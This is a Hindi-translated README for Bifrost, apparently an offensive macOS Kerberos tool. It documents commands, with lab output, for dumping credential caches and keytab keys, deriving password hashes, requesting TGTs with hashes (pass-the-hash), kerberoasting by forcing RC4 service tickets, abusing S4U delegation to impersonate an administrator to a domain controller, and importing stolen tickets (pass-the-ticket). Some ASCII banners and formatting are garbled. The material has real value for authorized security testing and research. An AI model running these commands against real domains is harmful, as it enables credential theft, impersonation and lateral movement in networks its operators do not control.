
ऑब्जेक्टिव-सी लाइब्रेरी और कंसोल macOS Kerberos के लिए Heimdal APIs के साथ इंटरैक्ट करने के लिए
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(__/'()() () \___/'(____/_)
Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal
# Table of Contents
- [Overview](#overview)
- commands
- [list](#list)
- [dump](#dump)
- [tickets](#tickets)
- [keytab](#keytab)
- [askhash](#askhash)
- [asktgt](#asktgt)
- [with plaintext](#with-plaintext-password)
- [with hash](#with-hash)
- [with keytab entry](#with-keytab-entry)
- [describe](#describe)
- [asktgs](#asktgs)
- [different domains](#different-domains)
- [kerberoasting](#kerberoasting)
- [s4u](#s4u)
- [ptt](#ptt)
- [remove](#remove)
- [credential cache](#credential-cache)
- [keytab entry](#keytab-entry)
## Overview
Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। Bifrost एक स्टैटिक लाइब्रेरी में कंपाइल होता है (लेकिन यदि आवश्यक हो तो आप इसे dylib में बदल सकते हैं), और bifrostconsole एक सरल कंसोल प्रोजेक्ट है जो Bifrost लाइब्रेरी का उपयोग करता है। इस प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के आसपास बेहतर सुरक्षा परीक्षण को सक्षम करना है, जो नेटिव APIs का उपयोग करके लक्ष्य पर किसी अन्य फ्रेमवर्क या पैकेज की आवश्यकता के बिना किया जाता है।
चूंकि इसे Mac पर कंपाइल करने की आवश्यकता है, और यह परीक्षण के उद्देश्यों के लिए सभी के लिए आसानी से उपलब्ध नहीं हो सकता है, मैंने कंसोल और लाइब्रेरी का एक कंपाइल किया हुआ संस्करण "compiled_binaries" फ़ोल्डर में शामिल किया है। चूंकि ये पूर्व-कंपाइल हैं, उम्मीद करें कि ये भारी रूप से सिग्नेचर किए गए हैं और केवल व्यक्तिगत परीक्षण उद्देश्यों के लिए उपयोगी हैं।
## list
`-action list` कमांड मेमोरी में सभी क्रेडेंशियल कैशे के माध्यम से लूप करेगा और प्रत्येक कैशे और उसके अंदर प्रत्येक प्रविष्टि के बारे में बुनियादी जानकारी देगा। यह `[*]` मार्कर के साथ डिफ़ॉल्ट कैशे और `[+]` मार्कर के साथ प्रत्येक अन्य कैशे की पहचान भी करेगा।```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
Issued Expires Principal Flags
2019-11-13 18:00:20PST 2019-11-14 04:00:20PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST 2019-12-13 18:00:21PST krb5_ccache_conf_data/kcm-status@X-CACHECONF: ()
-action dump कमांड फ्लैग के आधार पर कीटैब या क्रेडेंशियल कैश के बारे में जानकारी निकाल सकता है।
विशेष रूप से टिकट डंप करने के लिए, -source tickets का उपयोग करें। डिफ़ॉल्ट रूप से, यह केवल डिफ़ॉल्ट क्रेडेंशियल कैश के माध्यम से पुनरावृति करेगा। डिफ़ॉल्ट क्रेडेंशियल कैश को -action list कमांड से और [*] मार्कर से पहचाने गए कैश को देखकर पहचाना जा सकता है। किसी विशिष्ट क्रेडेंशियल कैश को डंप करने के लिए, -name [name here] फ्लैग का उपयोग करें।
प्रत्येक टिकट का वर्णन किया जाएगा और उसे base64 Kirbi प्रारूप में डंप किया जाएगा, जिसका उपयोग अन्य कमांड या Windows पर अन्य टूल्स के साथ किया जा सकता है।``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=
Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA
### keytab
keytab कुंजियों को डंप करने के लिए, `-source keytab` पैरामीटर का उपयोग करें। डिफ़ॉल्ट रूप से, यह डिफ़ॉल्ट keytab (`/etc/krb5.keytab`) से जानकारी डंप करने का प्रयास करेगा, जो केवल root द्वारा पढ़ने योग्य है। एक अन्य keytab निर्दिष्ट करने के लिए, `-path /path/to/keytab` आर्गुमेंट का उपयोग करें।
प्रत्येक keytab प्रविष्टि का वर्णन किया जाएगा और कुंजी को base64 और hex में डंप किया जाएगा।```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
Entry version: 3
Key enctype: aes256
Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
Timestamp: 2019-11-10 04:58:09 GMT
bash-3.2$ sudo ./bifrost -action dump -source keytab
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving default keytab path
[+] Successfully opened keytab
[+] principal: afpserver/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
Entry version: 2
Key enctype: aes256
Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
Timestamp: 2018-10-27 03:26:13 GMT
[+] principal: cifs/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
Entry version: 2
Key enctype: aes256
Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
Timestamp: 2018-10-27 03:26:13 GMT
<...snip...>
[+] principal: [email protected]
Entry version: 2
Key enctype: rc4
Key: A12AD40BD124E6A9A14D65504E8EA30A
Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
Entry version: 2
Key enctype: aes256
Key: C1BF6861A00B35A97483E820863FAD4ED57831D935DBFE2D501727C678503F73
Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
Entry version: 2
Key enctype: aes128
Key: 1F44A5E5C7919C00F3166A1344D4FFDA
The -action askhash TGTs का अनुरोध करने और प्रतिक्रियाओं को डिक्रिप्ट करने के लिए आवश्यक हैश की गणना करेगा। इस कमांड के लिए -password [यहाँ पासवर्ड] के साथ सादा पाठ पासवर्ड आवश्यक है, लेकिन यदि पासवर्ड में विशेष वर्ण हैं जो समस्या पैदा कर सकते हैं, तो आप हमेशा -bpassword [बेस64 पासवर्ड यहाँ] के साथ पासवर्ड का बेस64 एन्कोडेड संस्करण प्रदान कर सकते हैं। आपको -username [उपयोगकर्ता नाम] और -domain fqdn पैरामीटर भी प्रदान करने होंगे ताकि उपयुक्त सॉल्ट उत्पन्न किया जा सके।
यदि आप कंप्यूटर$ खाते के लिए हैश प्राप्त करना चाहते हैं, तो उपयोगकर्ता नाम में $ शामिल करना सुनिश्चित करें। कंप्यूटर खाते का सॉल्ट उपयोगकर्ता खाते के सॉल्ट से भिन्न होता है।```
spooky:~ lab_admin$ ./bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Username: lab_admin Password: abc123!!! Domain: LAB.LOCAL Salt: LAB.LOCALlab_admin
Keys: AES128: CFE28C26EAF8DE4A0A2AE0CC69E6EB6B AES256: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 RC4 : 8C1A1B4466CB7F145CAB016435B893EF
## asktgt
`-action asktgt` कमांड एक सादा टेक्स्ट पासवर्ड, हैश, या कीटैब एंट्री लेगा और DC से TGT का अनुरोध करेगा।
### सादा टेक्स्ट पासवर्ड के साथ
सादा टेक्स्ट पासवर्ड का उपयोग करने के लिए, आपको `-password [password]` के अलावा `-username [username]` और `-domain [fqdn]` प्रदान करना होगा। यदि पासवर्ड में विशेष वर्ण हैं जो समस्या पैदा कर सकते हैं, तो इसके बजाय `-bpassword [password का base64]` प्रदान करें। यह सामान्य रूप से TGT का अनुरोध करने के लिए Kerberos लॉगिन API का उपयोग करेगा और इसे एक नए क्रेडेंशियल कैश में संग्रहीत करेगा। Bifrost फिर उस कैश से टिकट निकालेगा और कैश को हटा देगा।```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Requesting principal: [email protected]
[*] Requesting password: abc123!!!
[*] Creating TGT Request for [email protected]
[*] Requesting TGT into temporary CCache
[+] Successfully got TGT into new CCache: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[*] Dumping ticket from new CCache and removing entry
Client: [email protected]
Principal: krbtgt/[email protected]
Key enctype: aes256
Key: lFfEz+OGE0IrlRiNbqN3KbkH1cC0Sb28eVJ8V2yp3EM= (9457C4CFE38613422B95188D6EA37729B907D5C0B449BDBC79527C576CA9DC43)
Expires: 2019-11-14 12:28:25 GMT
Flags: forwardable initial pre-auth
Kirbi:
doIFDTCCBQm<...snip...>TA==
[+] Removed CCache entry: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[+] Successfully obtained Kerberos ticket for principal lab_admin.
हैश का उपयोग करने के लिए, आपको -username [username] और -domain [fqdn] के साथ -hash [hash here] और -enctype [aes256|aes128|rc4|des3] प्रदान करना होगा। केवल इन मापदंडों के साथ, Bifrost मैन्युअल ASN1 Kerberos ट्रैफ़िक का निर्माण करेगा और AES256 TGT का अनुरोध करने के लिए पोर्ट 88 पर [fqdn] से कनेक्ट होगा (विशेष रूप से, वैध रिटर्न एन्क्रिप्शन प्रकारों के रूप में aes256, aes128 और rc4 को सूचीबद्ध करते हुए)। निश्चित रूप से इसे संशोधित किया जा सकता है। -supportAll false फ़्लैग निर्दिष्ट करने से ट्रैफ़िक इस प्रकार समायोजित हो जाएगा कि एकमात्र समर्थित एन्क्रिप्शन प्रतिक्रिया प्रकार हैश के समान हो। वैकल्पिक रूप से, आप हैश प्रकार की परवाह किए बिना एक विशिष्ट एन्क्रिप्शन प्रकार का TGT अनुरोध करने के लिए -tgtEnctype [aes256|aes128|rc4] निर्दिष्ट कर सकते हैं।```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -tgtEnctype rc4
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[] Requesting hash type: 23 [] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [+] Successfully sent ASREQ [+] Successfully received ASREP [] Describing ticket Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:33:11 GMT End: 2019-11-14 12:33:11 GMT Renew: 2019-11-21 02:33:11 GMT Key Type: ARCFOUR_HMAC Key Value: P7EYn0Y5BFcE7o0gONzEhQ== (3FB1189F4639045704EE8D2038DCC485) Flags: forwardable renewable initial pre-auth [] Creating Kirbi: doIFADCCBPygBgI<...snip...>FCLkxPQ0FM
### keytab प्रविष्टि के साथ
keytab का उपयोग करने के लिए, आपको `-username [username]` और `-domain [fqdn]` के साथ-साथ `-enctype [aes256|aes128|rc4]` और `-keytab [keytab का पथ]` प्रदान करना होगा। Bifrost तब keytab खोलेगा और प्रदान किए गए उपयोगकर्ता नाम, डोमेन और एन्क्रिप्शन प्रकार से मेल खाने वाली प्रविष्टि की खोज करेगा और उस हैश को खींच लेगा। केवल इन मापदंडों के साथ, Bifrost मैन्युअल ASN1 Kerberos ट्रैफ़िक का निर्माण करेगा और AES256 TGT का अनुरोध करने के लिए पोर्ट 88 पर `[fqdn]` से कनेक्ट होगा (विशेष रूप से, वैध रिटर्न एन्क्रिप्शन प्रकारों के रूप में aes256, aes128, और rc4 को सूचीबद्ध करते हुए)। इसे निश्चित रूप से संशोधित किया जा सकता है। `-supportAll false` फ़्लैग निर्दिष्ट करने से ट्रैफ़िक को समायोजित किया जाएगा ताकि एकमात्र समर्थित एन्क्रिप्शन प्रतिक्रिया प्रकार हैश के समान ही हो। वैकल्पिक रूप से, आप `-tgtEnctype [aes256|aes128|rc4]` निर्दिष्ट कर सकते हैं ताकि प्रदान किए गए हैश प्रकार की परवाह किए बिना किसी विशिष्ट एन्क्रिप्शन प्रकार का TGT अनुरोध किया जा सके।```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path: test
[+] Successfully opened keytab
[*] Searching for principal: [email protected]
[*] Found match, retrieving key
[+] Using hash: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent ASREQ
[+] Successfully received ASREP
[*] Describing ticket
Client: [email protected]
Principal: krbtgt/[email protected]
Start: 2019-11-14 02:35:16 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3)
Flags: forwardable renewable initial pre-auth
[*] Creating Kirbi:
doIFIDCCBR<...snip...>DQUw=
The -action describe कमांड एक Kirbi फ़ाइल की जानकारी निकाल देगा। आपको -ticket [base64 of Kirbi ticket] प्रदान करना होगा।```
spooky:~ lab_admin$ ./bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:35:16 GMT End: 2019-11-14 12:35:16 GMT Renew: 2019-11-21 02:35:16 GMT Key Type: AES256_CTS_HMAC_SHA1_96 Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3) Flags: forwardable renewable initial pre-auth
## asktgs
`-action asktgs` कमांड KDC से प्रदान किए गए TGT के आधार पर एक सेवा टिकट का अनुरोध करेगा। आपको `-ticket [base64 of kirbi TGT]` और `-service [spn,spn,spn]` प्रदान करना होगा।```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to cifs/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]
Principal: cifs/[email protected]
Start: 2019-11-14 02:43:39 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: ARCFOUR_HMAC
Key Value: 06IYcTPmajAEvXCjTim9lA== (D3A2187133E66A3004BD70A34E29BD94)
Flags: forwardable renewable pre-auth
[*] Creating Kirbi:
doIFEDCCBQ<...snip...>A==
[+] Successfully got service ticket
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to host/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: host/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]
Principal: host/[email protected]
Start: 2019-11-14 02:43:39 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: JGWDGXrjkzMD5Tr4dv+b6a5fR97IY8ycwoz1bHsywJw= (246583197AE3933303E53AF876FF9BE9AE5F47DEC863CC9CC28CF56C7B32C09C)
Flags: forwardable renewable pre-auth ok-as-delegate
[*] Creating Kirbi:
doIFL<...snip...>w=
[+] Successfully got service ticket
डिफ़ॉल्ट रूप से, Bifrost कनेक्ट करने के लिए डोमेन और सेवा के डोमेन की जानकारी TGT से प्राप्त करेगा। यदि ये दोनों चीज़ें TGT से भिन्न हैं, तो आप उन्हें -connectDomain [domain to connect to] और -serviceDomain [domain of the service] के साथ मैन्युअल रूप से निर्दिष्ट कर सकते हैं। डिफ़ॉल्ट रूप से, Bifrost परिणामी सेवा के लिए aes256, aes128, और rc4 एन्क्रिप्शन प्रकारों को स्वीकार्य मानता है (इसलिए संभवतः आपको एक aes256 सेवा टिकट वापस मिलेगा)।
यदि आप एक aes256 सेवा टिकट वापस नहीं चाहते, बल्कि इसके बजाय अधिक क्रैक करने योग्य कुछ चाहते हैं, तो आप -kerberoast true फ़्लैग निर्दिष्ट कर सकते हैं जो इंगित करता है कि आप परिणामी सेवा टिकट को rc4 होना चाहते हैं।```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [] Requesting service ticket to host/dc1-lab.lab.local as lab_admin [+] Successfully sent TGSREQ [+] Successfully received TGSREP [+] Parsing TGS-REP Client Domain: LAB.LOCAL Requesting account: lab_admin Requested Service: host/dc1-lab.lab.local Ticket Encryption: 23 [] Describing ticket Client: [email protected] Principal: host/dc1-[email protected] Start: 2019-11-14 02:49:01 GMT End: 2019-11-14 12:46:50 GMT Renew: 2019-11-21 02:46:50 GMT Key Type: ARCFOUR_HMAC Key Value: j3VcAqIgsLI38a4aqi0jOw== (8F755C02A220B0B237F1AE1AAA2D233B) Flags: forwardable renewable pre-auth ok-as-delegate [] Creating Kirbi: doIFE<...snip...>A== [+] Successfully got service ticket
## s4u
`-action s4u` कमांड resource-based constrained delegation का उपयोग करता है। आपको `-ticket [TGT का base64]`, `-targetUser [उपयोगकर्ता नाम]` निर्दिष्ट करना होगा (यदि उपयोगकर्ता उस डोमेन से भिन्न डोमेन में है जिसके लिए TGT है, तो लक्ष्य उपयोगकर्ता को `[email protected]` के रूप में निर्दिष्ट करें)। इस बिंदु पर, Bifrost केवल S4U2Self प्रक्रिया करेगा। प्रक्रिया को पूरा करने और S4U2Proxy भी करने के लिए, अतिरिक्त रूप से `-spn [लक्ष्य spn]` निर्दिष्ट करें। यदि आपको TGT में निर्दिष्ट डोमेन से भिन्न डोमेन से कनेक्ट करने की आवश्यकता है, तो आप `-connectDomain [fqdn]` निर्दिष्ट कर सकते हैं। यह अनुक्रम फिर से पोर्ट 88 पर मैन्युअल ASN1 Kerberos ट्रैफ़िक तैयार करेगा।```
*** Using the TGT of the "alice" account, which has an SPN set (HTTP/spooky.lab.local) and has the userAccountControl flag for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set to true (0x1000000) and has msDS-AllowedToDelegateTo set to the SPN of cifs/dc1-lab.lab.local ***
spooky:~ lab_admin$ ./bifrost -action s4u -targetUser lab_admin -spn cifs/dc1-lab.lab.local -ticket doIF<...snip...>QUw=
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to alice as lab_admin
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: alice
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: [email protected]
Start: 2019-11-14 04:17:45 GMT
End: 2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: ARCFOUR_HMAC
Key Value: MV4AR2rIg23e8uj0LmuP4w== (315E00476AC8836DDEF2E8F42E6B8FE3)
Flags: forwardable renewable pre-auth
[*] Creating Kirbi:
doIFQD<...snip...>ZQ==
[*] Impersonating [email protected] to service cifs/[email protected] via S4U2Proxy
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: cifs/[email protected]
Start: 2019-11-14 04:17:45 GMT
End: 2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: qvO9Rh88ju+LlobxDwdS9fAy9MjqVg/FOfS/RCxVOlo= (AAF3BD461F3C8EEF8B9686F10F0752F5F032F4C8EA560FC539F4BF442C553A5A)
Flags: forwardable renewable pre-auth ok-as-delegate
[*] Creating Kirbi:
doIG<...snip...>9jYWw=
अब आप उस अंतिम Kirbi टिकट का उपयोग करके cifs/dc1-lab.lab.local तक lab_admin के रूप में पहुँच प्राप्त कर सकते हैं, भले ही पूरी प्रक्रिया के लिए उपयोग किया गया TGT LAB\alice का था।
-action ptt कमांड एक टिकट (TGT या सेवा टिकट) लेता है और उसे निर्दिष्ट क्रेडेंशियल कैश में आयात करता है या एक नया क्रेडेंशियल कैश बनाता है। आपको -ticket [टिकट का base64] निर्दिष्ट करना होगा और या तो -name [पूर्ण क्रेडेंशियल कैश नाम] टिकट को निर्दिष्ट कैश में जोड़ने के लिए, या -name new एक नया क्रेडेंशियल कैश बनाने और वहाँ टिकट आयात करने के लिए।```
spooky:~ lab_admin$ ./bifrost -action list
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
spooky:~ lab_admin$ ./bifrost -action ptt -cache new -ticket doI<...snip...>QUw=
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[+] Successfully parsed Kirbi data [] Converting ticket to ccache cred [+] Successfully converted ticket to ccache cred [] Creating new ccache [*] Saving credential for krbtgt/LAB.LOCAL [+] Successfully imported credential spooky:~ lab_admin$ ./bifrost -action list
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[*] Principal: [email protected] Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F Issued Expires Principal Flags 2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/LAB.[email protected] (forwardable renewable initial pre-auth )
## हटाएं
The `-action remove` कमांड कैश या कीटैब प्रविष्टियों को हटाता है।
### प्रमाण-पत्र कैश
प्रमाण-पत्र कैश हटाने के लिए, आपको `-source tickets` और `-name [cache name here]` निर्दिष्ट करना होगा। यह पूरे कैश को हटा देता है। जहाँ तक मैं krb5 Heimdal APIs के साथ बता सकता हूँ, आप किसी विशिष्ट प्रमाण-पत्र प्रविष्टि को नहीं हटा सकते - MITKerberosShim रिपोर्ट करता है कि आवश्यक फ़ंक्शन लागू नहीं हैं।```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
Issued Expires Principal Flags
2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
spooky:~ lab_admin$ ./bifrost -action remove -source tickets -name API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving CCache name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
[+] Successfully resolved CCache name
[+] Successfully removed CCache
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
spooky:~ lab_admin$
किसी keytab से principal को हटाने के लिए, आपको -source keytab और -principal [principal name] निर्दिष्ट करना होगा। डिफ़ॉल्ट रूप से, यह डिफ़ॉल्ट keytab में principal की खोज करेगा, लेकिन यदि आप किसी विशिष्ट keytab का उपयोग करना चाहते हैं, तो इसे -name [path to keytab] के साथ निर्दिष्ट करें।